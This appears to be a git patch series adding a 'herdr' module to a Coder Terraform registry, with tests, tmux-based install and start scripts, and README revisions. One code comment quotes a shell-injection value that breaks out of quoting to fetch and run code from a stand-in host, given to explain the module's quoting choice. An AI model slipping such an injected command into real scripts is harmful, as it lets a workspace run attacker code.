condition = [for h in resource.coder_app.herdr[0].healthcheck : h.url][0] == "http://localhost:8375/healthz" + error_message = "Healthcheck URL should use the configured app_port and default app_healthcheck_path" + } +} + +run "custom_app_configuration" { + command = plan + + variables { + agent_id = "test-agent" + app_port = 9000 + app_slug = "herdr-relay" + app_display_name = "Herdr Mobile Relay" + app_healthcheck_path = "/health" + order = 5 + group = "AI Tools" + } + + assert { + condition = resource.coder_app.herdr[0].slug == "herdr-relay" + error_message = "Custom app_slug should be set" + } + + assert { + condition = resource.coder_app.herdr[0].display_name == "Herdr Mobile Relay" + error_message = "Custom app_display_name should be set" + } + + assert { + condition = [for h in resource.coder_app.herdr[0].healthcheck : h.url][0] == "http://localhost:9000/health" + error_message = "Custom app_healthcheck_path should be used" + } + + assert { + condition = resource.coder_app.herdr[0].order == 5 + error_message = "Custom order should be set" + } + + assert { + condition = resource.coder_app.herdr[0].group == "AI Tools" + error_message = "Custom group should be set" + } +} + +run "invalid_share_rejected" { + command = plan + + variables { + agent_id = "test-agent" + share = "invalid" + } + + expect_failures = [ + var.share, + ] +} + +run "invalid_open_in_rejected" { + command = plan + + variables { + agent_id = "test-agent" + open_in = "invalid" + } + + expect_failures = [ + var.open_in, + ] +} + +run "install_disabled_configuration" { + command = plan + + variables { + agent_id = "test-agent" + install = false + } + + assert { + condition = var.install == false + error_message = "install should be disabled when specified" + } +} + +run "custom_tmux_session_configuration" { + command = plan + + variables { + agent_id = "test-agent" + tmux_session = "herdr-custom" + } + + assert { + condition = var.tmux_session == "herdr-custom" + error_message = "tmux_session should be set correctly" + } +} + +run "custom_scripts_configuration" { + command = plan + + variables { + agent_id = "test-agent" + pre_install_script = "#!/bin/bash\necho 'pre-install'" + post_install_script = "#!/bin/bash\necho 'post-install'" + } + + assert { + condition = can(regex("pre-install", var.pre_install_script)) + error_message = "Pre-install script should contain expected content" + } + + assert { + condition = can(regex("post-install", var.post_install_script)) + error_message = "Post-install script should contain expected content" + } +} + +run "post_start_script_defaults_to_unset" { + command = plan + + variables { + agent_id = "test-agent" + } + + assert { + condition = var.post_start_script == null + error_message = "post_start_script should be unset by default" + } +} + +run "custom_post_start_script_configuration" { + command = plan + + variables { + agent_id = "test-agent" + post_start_script = "#!/bin/bash\necho 'post-start'" + } + + assert { + condition = can(regex("post-start", var.post_start_script)) + error_message = "post_start_script should contain expected content" + } +} + +run "scripts_output_is_populated" { + command = plan + + variables { + agent_id = "test-agent" + } + + assert { + condition = length(output.scripts) > 0 + error_message = "scripts output should list at least the install and start scripts" + } +} diff --git a/registry/gojnimer6553/modules/herdr/scripts/install.sh.tftpl b/registry/gojnimer6553/modules/herdr/scripts/install.sh.tftpl new file mode 100644 index 000000000..3e77fea6b --- /dev/null +++ b/registry/gojnimer6553/modules/herdr/scripts/install.sh.tftpl @@ -0,0 +1,98 @@ +#!/bin/bash + +set -euo pipefail + +BOLD='\033[0;1m' + +command_exists() { + command -v "$1" > /dev/null 2>&1 +} + +ARG_INSTALL='${ARG_INSTALL}' +ARG_USE_CACHED='${ARG_USE_CACHED}' + +echo "--------------------------------" +printf "ARG_INSTALL: %s\n" "$${ARG_INSTALL}" +printf "ARG_USE_CACHED: %s\n" "$${ARG_USE_CACHED}" +echo "--------------------------------" + +# Herdr is a terminal multiplexer replacement with no documented headless/ +# daemon startup mode (https://herdr.dev/docs/ has no server/Docker/headless +# guidance as of this writing) -- like the "happy" module's use of tmux to +# drive an interactive CLI, the start script gives Herdr a real +# pseudo-terminal in the background instead. Installed once here (not on +# every start) since, unlike Node, tmux has no official portable static +# binary this script can drop into $HOME without privileges -- it links +# against system libraries (libevent, ncurses) via the platform's package +# manager. Best-effort install it that way when root or passwordless sudo is +# available; otherwise fail with a clear message instead of a confusing +# mid-script permissions error later in the start script. +ensure_tmux() { + if command_exists tmux; then + return 0 + fi + + echo "⚠️ tmux not found on PATH; attempting to install it..." + + local as_root="" + if [ "$(id -u)" != "0" ]; then + if command_exists sudo && sudo -n true > /dev/null 2>&1; then + as_root="sudo -n" + else + echo "❌ tmux is required to run Herdr (it gives the Herdr server a real pseudo-terminal in the background) but was not found on PATH, and this workspace has neither root nor passwordless sudo to install it automatically. Add tmux to the workspace image." + exit 1 + fi + fi + + if command_exists apt-get; then + $as_root apt-get update -qq || true + $as_root apt-get install -y -qq tmux || true + elif command_exists dnf; then + $as_root dnf install -y -q tmux || true + elif command_exists yum; then + $as_root yum install -y -q tmux || true + elif command_exists apk; then + $as_root apk add --no-cache tmux || true + elif command_exists pacman; then + $as_root pacman -Sy --noconfirm tmux || true + fi + + if ! command_exists tmux; then + echo "❌ tmux is required to run Herdr (it gives the Herdr server a real pseudo-terminal in the background) but was not found on PATH, and automatic installation failed (no supported package manager found, or the install itself failed). Add tmux to the workspace image manually." + exit 1 + fi + + echo "✅ tmux installed automatically." +} + +ensure_tmux + +if [ "$${ARG_INSTALL}" != "true" ]; then + echo "⏭️ install=false; skipping Herdr installation." + exit 0 +fi + +# Herdr's own installer places the binary under ~/.local/bin, which may not +# yet be on PATH for a non-interactive script (it's normally added by a +# shell rc file sourced only for interactive shells). +export PATH="$HOME/.local/bin:$PATH" + +if command_exists herdr && [ "$${ARG_USE_CACHED}" = "true" ]; then + printf "%s\n" "🥳 Found a cached copy of Herdr, skipping install (use_cached=true)" + herdr --version || true + exit 0 +fi + +# Herdr has no documented option for pinning an install to a specific +# version (see https://herdr.dev/docs/install/) -- this always installs +# whatever herdr.dev/install.sh currently serves as latest. +printf "%sInstalling Herdr from herdr.dev...\n" "$${BOLD}" +curl -fsSL https://herdr.dev/install.sh | sh + +if ! command_exists herdr; then + echo "❌ Could not find the herdr binary on PATH after install (looked in \$HOME/.local/bin and the rest of PATH)." + exit 1 +fi + +printf "%s\n\n" "🥳 Herdr has been installed" +herdr --version || true diff --git a/registry/gojnimer6553/modules/herdr/scripts/start.sh.tftpl b/registry/gojnimer6553/modules/herdr/scripts/start.sh.tftpl new file mode 100644 index 000000000..927409870 --- /dev/null +++ b/registry/gojnimer6553/modules/herdr/scripts/start.sh.tftpl @@ -0,0 +1,129 @@ +#!/bin/bash + +set -euo pipefail + +command_exists() { + command -v "$1" > /dev/null 2>&1 +} + +# module_directory is not caller-influenced (module_dir_name is a hardcoded +# constant in main.tf), so double-quoting it to expand its literal "$HOME" +# at runtime is safe. workdir is caller-supplied though -- see the comment on +# workdir_override in main.tf for why that's passed as a raw override +# instead and built into a full path below using a real, un-interpolated +# shell variable rather than embedded "$HOME" text. +ARG_MODULE_DIRECTORY="${ARG_MODULE_DIRECTORY}" +ARG_WORKDIR_OVERRIDE='${ARG_WORKDIR_OVERRIDE}' +ARG_SESSION_NAME='${ARG_SESSION_NAME}' +ARG_TMUX_SESSION='${ARG_TMUX_SESSION}' + +if [ -n "$${ARG_WORKDIR_OVERRIDE}" ]; then + WORKDIR="$${ARG_WORKDIR_OVERRIDE}" +else + WORKDIR="$HOME" +fi + +LOG_DIR="$${ARG_MODULE_DIRECTORY}/logs" +LOG_PATH="$LOG_DIR/herdr.log" +mkdir -p "$LOG_DIR" "$WORKDIR" + +export PATH="$HOME/.local/bin:$PATH" + +if ! command_exists herdr; then + echo "❌ herdr binary not found on PATH (looked in \$HOME/.local/bin and the rest of PATH). Did the install script run and succeed?" + exit 1 +fi + +if ! command_exists tmux; then + echo "❌ tmux not found on PATH. Did the install script run and succeed?" + exit 1 +fi + +session_alive() { + tmux has-session -t "$${ARG_TMUX_SESSION}" 2> /dev/null +} + +if session_alive; then + echo "ℹ️ tmux session '$${ARG_TMUX_SESSION}' is already running; leaving the existing Herdr process alone." +else + echo "🚀 Starting Herdr in the background (tmux session '$${ARG_TMUX_SESSION}')..." + : > "$LOG_PATH" + + if [ -n "$${ARG_SESSION_NAME}" ]; then + tmux new-session -d -s "$${ARG_TMUX_SESSION}" -c "$WORKDIR" env HERDR_SESSION="$${ARG_SESSION_NAME}" herdr + else + tmux new-session -d -s "$${ARG_TMUX_SESSION}" -c "$WORKDIR" herdr + fi + + # tmux's own shell interprets the -o command; LOG_PATH is derived from + # module_directory (a hardcoded constant under $HOME), never from + # caller-supplied text, so a plain single-quoted path is safe here. + tmux pipe-pane -t "$${ARG_TMUX_SESSION}" -o "cat >> '$LOG_PATH'" +fi + +# Best-effort readiness check: give the server a moment to create its socket +# before installing plugins. `herdr status` is not fully documented upstream +# (https://herdr.dev/docs/socket-api/ only shows it as a status-check +# example), so a failure here is logged but never treated as fatal -- +# plugin installs below are attempted regardless. +wait_for_herdr() { + local attempts=0 + while [ "$attempts" -lt 20 ]; do + if herdr status > /dev/null 2>&1; then + return 0 + fi + attempts=$((attempts + 1)) + sleep 0.5 + done + return 1 +} + +if wait_for_herdr; then + echo "✅ Herdr is up." +else + echo "⚠️ 'herdr status' did not succeed within 10s; continuing anyway (see $LOG_PATH)." +fi + +# Newline-delimited plugin list (see the ARG_PLUGINS comment in main.tf for +# why this isn't JSON). Installing a plugin only registers it with Herdr -- +# most plugins, including 0cv/herdr-mobile-relay, still need their own +# one-time interactive setup step run from a workspace terminal; this module +# does not attempt to drive that automatically. See the README. +PLUGINS_LIST=$(cat << 'EOF_PLUGINS' +${ARG_PLUGINS} +EOF_PLUGINS +) + +failed_plugins="" +while IFS= read -r plugin_spec; do + [ -z "$plugin_spec" ] && continue + echo "🔌 Installing Herdr plugin '$plugin_spec'..." + if herdr plugin install "$plugin_spec" --yes; then + echo "✅ Installed plugin '$plugin_spec'." + else + echo "❌ Failed to install plugin '$plugin_spec' (continuing with the rest)." + failed_plugins="$failed_plugins $plugin_spec" + fi +done <<< "$PLUGINS_LIST" + +if [ -n "$failed_plugins" ]; then + echo "⚠️ One or more Herdr plugins failed to install:$failed_plugins" +fi + +echo "ℹ️ Herdr is running in tmux session '$${ARG_TMUX_SESSION}'. Attach from a workspace terminal with: tmux attach -t $${ARG_TMUX_SESSION}" +echo "ℹ️ Plugins with their own setup wizard (e.g. 0cv/herdr-mobile-relay) still need it run once, e.g.: herdr plugin action invoke setup --plugin " + +# post_start_script: see the variable's description in main.tf. Read via a +# heredoc (like PLUGINS_LIST above) rather than embedded directly as a +# double-quoted shell string, since it's caller-supplied and may itself +# contain quotes, "$" expansions, etc. that must not be interpreted here -- +# only when the resulting script body is actually executed below. +POST_START_SCRIPT=$(cat << 'EOF_POST_START_SCRIPT' +${ARG_POST_START_SCRIPT} +EOF_POST_START_SCRIPT +) + +if [ -n "$POST_START_SCRIPT" ]; then + echo "▶️ Running post_start_script..." + bash -c "$POST_START_SCRIPT" +fi From 2f2034a54939a1294fc865f32fc01403a9fcac67 Mon Sep 17 00:00:00 2001 From: Guilherme Nimer Kovalek Gojlevicius Date: Wed, 19 Aug 2026 13:24:09 +0000 Subject: [PATCH 2/4] fix(gojnimer6553): use the real Herdr logo for the herdr module icon Replaces the placeholder glyph with the official mark from https://herdr.dev/_astro/logo.DM81885K_Z1HYzg2.svg. --- .icons/herdr.svg | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/.icons/herdr.svg b/.icons/herdr.svg index e406bcccc..230573150 100644 --- a/.icons/herdr.svg +++ b/.icons/herdr.svg @@ -1,5 +1,6 @@ - - - - + + + + + From 12ad8fb75a9e864e917ddb6679ca099f56fdc630 Mon Sep 17 00:00:00 2001 From: Guilherme Nimer Kovalek Gojlevicius Date: Wed, 19 Aug 2026 13:27:21 +0000 Subject: [PATCH 3/4] docs(gojnimer6553): remove happy module references from herdr Rewrites the tmux-usage explanations (README, install script comment, main.tf comment) to stand on their own instead of pointing at the happy module for context. Also fixes a stale README line along the way: tmux installs from the install script, not the start script. --- registry/gojnimer6553/modules/herdr/README.md | 12 ++++++------ registry/gojnimer6553/modules/herdr/main.tf | 9 ++++----- .../modules/herdr/scripts/install.sh.tftpl | 3 +-- 3 files changed, 11 insertions(+), 13 deletions(-) diff --git a/registry/gojnimer6553/modules/herdr/README.md b/registry/gojnimer6553/modules/herdr/README.md index 600e2393c..69c224c13 100644 --- a/registry/gojnimer6553/modules/herdr/README.md +++ b/registry/gojnimer6553/modules/herdr/README.md @@ -37,9 +37,9 @@ module "herdr" { ## How it works Herdr has no documented headless/daemon startup mode (like most terminal multiplexers, it expects a -real tty). This module gives it one the same way the [`happy`](../happy) module does for the `happy` -CLI: it starts `herdr` detached inside its own `tmux` session, so the server keeps running in the -background independent of the `coder_script` that launched it. By default this runs Herdr's default, +real tty). This module gives it one by starting `herdr` detached inside its own `tmux` session, so the +server keeps running in the background independent of the `coder_script` that launched it. By default +this runs Herdr's default, unnamed session — the same one you get by typing `herdr` in any workspace terminal — so plugins installed by this module and panes you open by hand end up in the same place. @@ -190,9 +190,9 @@ module "herdr" { ## Notes -- **Requires `tmux`.** Same reasoning as the [`happy`](../happy) module: Herdr expects a real - pseudo-terminal and has no non-interactive/daemon startup path, so this module drives it through - one via `tmux`. If `tmux` isn't already on `PATH`, the start script installs it automatically via +- **Requires `tmux`.** Herdr expects a real pseudo-terminal and has no non-interactive/daemon startup + path, so this module drives it through one via `tmux`. If `tmux` isn't already on `PATH`, the + install script installs it automatically via the workspace's system package manager (`apt-get`/`dnf`/`yum`/`apk`/`pacman`) when running as root or with passwordless `sudo`; otherwise it fails with a clear message. For reproducible builds (or if the workspace has neither root nor passwordless `sudo`), add it to your Dockerfile/image instead. diff --git a/registry/gojnimer6553/modules/herdr/main.tf b/registry/gojnimer6553/modules/herdr/main.tf index a88f3ec91..3cef04104 100644 --- a/registry/gojnimer6553/modules/herdr/main.tf +++ b/registry/gojnimer6553/modules/herdr/main.tf @@ -213,11 +213,10 @@ locals { # Kept as an *override only* (empty string means "no override"), rather # than pre-resolving the "$HOME"-based default here as a Terraform string -- - # see the identical comment on install_prefix_override in the "happy" - # module's main.tf for why: this needs the literal "$HOME" in - # ARG_WORKDIR_OVERRIDE to expand at shell runtime, but workdir is also a - # caller-supplied string, and a double-quoted assignment would let a value - # like `foo"; curl evil.sh | sh #` break out and execute. + # this needs the literal "$HOME" in ARG_WORKDIR_OVERRIDE to expand at shell + # runtime, but workdir is also a caller-supplied string, and a + # double-quoted assignment would let a value like + # `foo"; curl evil.sh | sh #` break out and execute. workdir_override = var.workdir != null ? var.workdir : "" session_env = var.session_name != null ? var.session_name : "" diff --git a/registry/gojnimer6553/modules/herdr/scripts/install.sh.tftpl b/registry/gojnimer6553/modules/herdr/scripts/install.sh.tftpl index 3e77fea6b..5c8c8feb3 100644 --- a/registry/gojnimer6553/modules/herdr/scripts/install.sh.tftpl +++ b/registry/gojnimer6553/modules/herdr/scripts/install.sh.tftpl @@ -18,8 +18,7 @@ echo "--------------------------------" # Herdr is a terminal multiplexer replacement with no documented headless/ # daemon startup mode (https://herdr.dev/docs/ has no server/Docker/headless -# guidance as of this writing) -- like the "happy" module's use of tmux to -# drive an interactive CLI, the start script gives Herdr a real +# guidance as of this writing) -- the start script drives it through a real # pseudo-terminal in the background instead. Installed once here (not on # every start) since, unlike Node, tmux has no official portable static # binary this script can drop into $HOME without privileges -- it links From b0a7e993d13f7600c2525332bcf98b180f19fdb0 Mon Sep 17 00:00:00 2001 From: Guilherme Nimer Kovalek Gojlevicius Date: Wed, 19 Aug 2026 13:34:11 +0000 Subject: [PATCH 4/4] docs(gojnimer6553): trim over-explained prose in herdr README --- registry/gojnimer6553/modules/herdr/README.md | 79 +++++++------------ 1 file changed, 29 insertions(+), 50 deletions(-) diff --git a/registry/gojnimer6553/modules/herdr/README.md b/registry/gojnimer6553/modules/herdr/README.md index 69c224c13..69e925811 100644 --- a/registry/gojnimer6553/modules/herdr/README.md +++ b/registry/gojnimer6553/modules/herdr/README.md @@ -36,20 +36,18 @@ module "herdr" { ## How it works -Herdr has no documented headless/daemon startup mode (like most terminal multiplexers, it expects a -real tty). This module gives it one by starting `herdr` detached inside its own `tmux` session, so the -server keeps running in the background independent of the `coder_script` that launched it. By default -this runs Herdr's default, -unnamed session — the same one you get by typing `herdr` in any workspace terminal — so plugins -installed by this module and panes you open by hand end up in the same place. +Herdr has no documented headless/daemon startup mode. This module starts `herdr` detached inside its +own `tmux` session, so the server keeps running independent of the `coder_script` that launched it. By +default this is Herdr's default, unnamed session — the same one you get by typing `herdr` in any +workspace terminal — so plugins installed by this module and panes you open by hand end up in the same +place. On every workspace start, after Herdr comes up, the module runs `herdr plugin install --yes` for each entry in `plugins`. ## How plugin setup works -Installing a plugin (via this module's `plugins` variable, or by hand) only registers it with Herdr. -Plugins that need their own setup — like +Installing a plugin only registers it with Herdr. Plugins that need their own setup — like [0cv/herdr-mobile-relay](https://github.com/0cv/herdr-mobile-relay), which needs you to choose a tunnel/pairing mode — still need that run once from a workspace terminal: @@ -58,23 +56,19 @@ herdr plugin action invoke setup --plugin herdr-mobile-relay.events ``` (Substitute the plugin's own id — check its `herdr-plugin.toml` — for other plugins.) This module -deliberately does not attempt to drive that wizard automatically: it's interactive by design (it asks -you to choose between a temporary tunnel and a permanent one, and confirms installing tools like -`cloudflared`), and scripting around it reliably wasn't something this module could verify without a -live Herdr install to test against. +doesn't drive that wizard automatically: it's interactive by design, asking you to choose between a +temporary and a permanent tunnel. Once a plugin like `0cv/herdr-mobile-relay` has completed its own setup and is serving a local web UI (mobile-relay's default is port 8375), set `app_port` to expose it as a Coder app tile — see the example below. -### Alternative: skip the wizard entirely with `post_start_script` +### Alternative: skip the wizard with `post_start_script` -`0cv/herdr-mobile-relay`'s guided setup (`herdr plugin action invoke setup ...`) only offers two -paths, and both hard-require `cloudflared` — there's no option to expose the relay through Coder's -own app proxy instead. If you don't want a Cloudflare account/tunnel in the workspace at all, you can -bypass the wizard and start the plugin's own relay binary directly from `post_start_script`, since it -installs to `$HOME/.local/bin/herdr-mobile-relay` (on `PATH` by the time `post_start_script` runs) and -accepts a `serve` subcommand with no tunnel involved — see +`0cv/herdr-mobile-relay`'s guided setup only offers two paths, both requiring `cloudflared` — there's +no built-in option to expose the relay through Coder's own app proxy. `post_start_script` can start +the plugin's relay binary directly instead (`$HOME/.local/bin/herdr-mobile-relay serve`, no tunnel +involved) — see [Expose a plugin's web UI through Coder instead of its own tunnel](#expose-a-plugins-web-ui-through-coder-instead-of-its-own-tunnel) below. @@ -98,10 +92,9 @@ run once from a workspace terminal before the app tile serves anything. ### Expose a plugin's web UI through Coder instead of its own tunnel -`0cv/herdr-mobile-relay` binds to `127.0.0.1:8375` by default regardless of which setup path you use — -the same address `app_port` already proxies through Coder. `post_start_script` can start the relay -binary directly (`herdr-mobile-relay serve`), skipping the wizard and its `cloudflared` requirement -entirely: +`0cv/herdr-mobile-relay` binds to `127.0.0.1:8375` regardless of setup path — the same address +`app_port` already proxies through Coder. `post_start_script` can start the relay binary directly, +skipping the wizard and its `cloudflared` requirement: ```tf module "herdr" { @@ -120,13 +113,8 @@ module "herdr" { PID_FILE="$MODULE_DIR/mobile-relay.pid" [ -f "$TOKEN_FILE" ] || openssl rand -hex 16 > "$TOKEN_FILE" TOKEN="$(cat "$TOKEN_FILE")" - # A PID file, not pgrep: "herdr-mobile-relay" is 19 characters, past - # Linux's 15-character comm-name limit, so "pgrep -x" can never match it - # (silently -- procps only warns on stderr). "pgrep -f" has the opposite - # problem: the whole post_start_script text is itself the argv of the - # "bash -c" process running it, and that text literally contains - # "herdr-mobile-relay serve", so an -f/substring match would match this - # very script's own process and skip starting the relay on every run. + # A PID file, not pgrep: pgrep -x can't match a 19-char comm name, and + # pgrep -f matches this script's own argv (it contains the search text). if ! { [ -f "$PID_FILE" ] && kill -0 "$(cat "$PID_FILE")" 2> /dev/null; }; then HERDR_RELAY_TOKEN="$TOKEN" nohup herdr-mobile-relay serve \ >> "$MODULE_DIR/logs/mobile-relay.log" 2>&1 & @@ -142,12 +130,10 @@ module "herdr" { } ``` -This is a workaround, not something the plugin documents or the coder-utils/coder-registry-guaranteed -contract of this module covers: it relies on the plugin's binary continuing to install to -`$HOME/.local/bin/herdr-mobile-relay` and accepting an undocumented (but source-confirmed) `serve` -subcommand. `share = "public"` makes the port reachable by anyone with the link, same as a Cloudflare -Tunnel would — Herdr's own relay token and end-to-end encryption remain the real access control, not -Coder's `owner`/`authenticated` gating (which a phone with no Coder session can't satisfy anyway). +This is a workaround: it relies on undocumented plugin internals (the install path and the `serve` +subcommand), not a documented interface. `share = "public"` makes the port reachable by anyone with +the link — the relay's own token and end-to-end encryption are the real access control, not Coder's +session gating. ### Run Herdr's session in a specific project directory @@ -190,17 +176,10 @@ module "herdr" { ## Notes -- **Requires `tmux`.** Herdr expects a real pseudo-terminal and has no non-interactive/daemon startup - path, so this module drives it through one via `tmux`. If `tmux` isn't already on `PATH`, the - install script installs it automatically via - the workspace's system package manager (`apt-get`/`dnf`/`yum`/`apk`/`pacman`) when running as root - or with passwordless `sudo`; otherwise it fails with a clear message. For reproducible builds (or if - the workspace has neither root nor passwordless `sudo`), add it to your Dockerfile/image instead. -- No version pinning: Herdr's installer (`herdr.dev/install.sh`) has no documented flag for - installing a specific version as of this writing, so `install = true` always installs whatever it - currently serves as latest. Set `install = false` and bake a pinned copy into the workspace image if - you need reproducible versions. -- Multi-workspace fan-in: a plugin like `0cv/herdr-mobile-relay` is designed so its own phone/web app - can hold connections to many independent relays at once (one per workspace) rather than one app - instance per workspace — see that plugin's own docs for how to add a workspace's relay to an - existing installed app instead of minting a new one. +- **Requires `tmux`.** Herdr expects a real pseudo-terminal. The install script installs `tmux` + automatically (`apt-get`/`dnf`/`yum`/`apk`/`pacman`) when running as root or with passwordless + `sudo`; otherwise add it to your Dockerfile/image. +- No version pinning: Herdr's installer has no flag for a specific version, so `install = true` always + installs latest. Set `install = false` and bake a pinned copy into the image for reproducible builds. +- A plugin like `0cv/herdr-mobile-relay` can hold connections to many workspaces' relays in one phone + app instead of one app per workspace — see that plugin's own docs.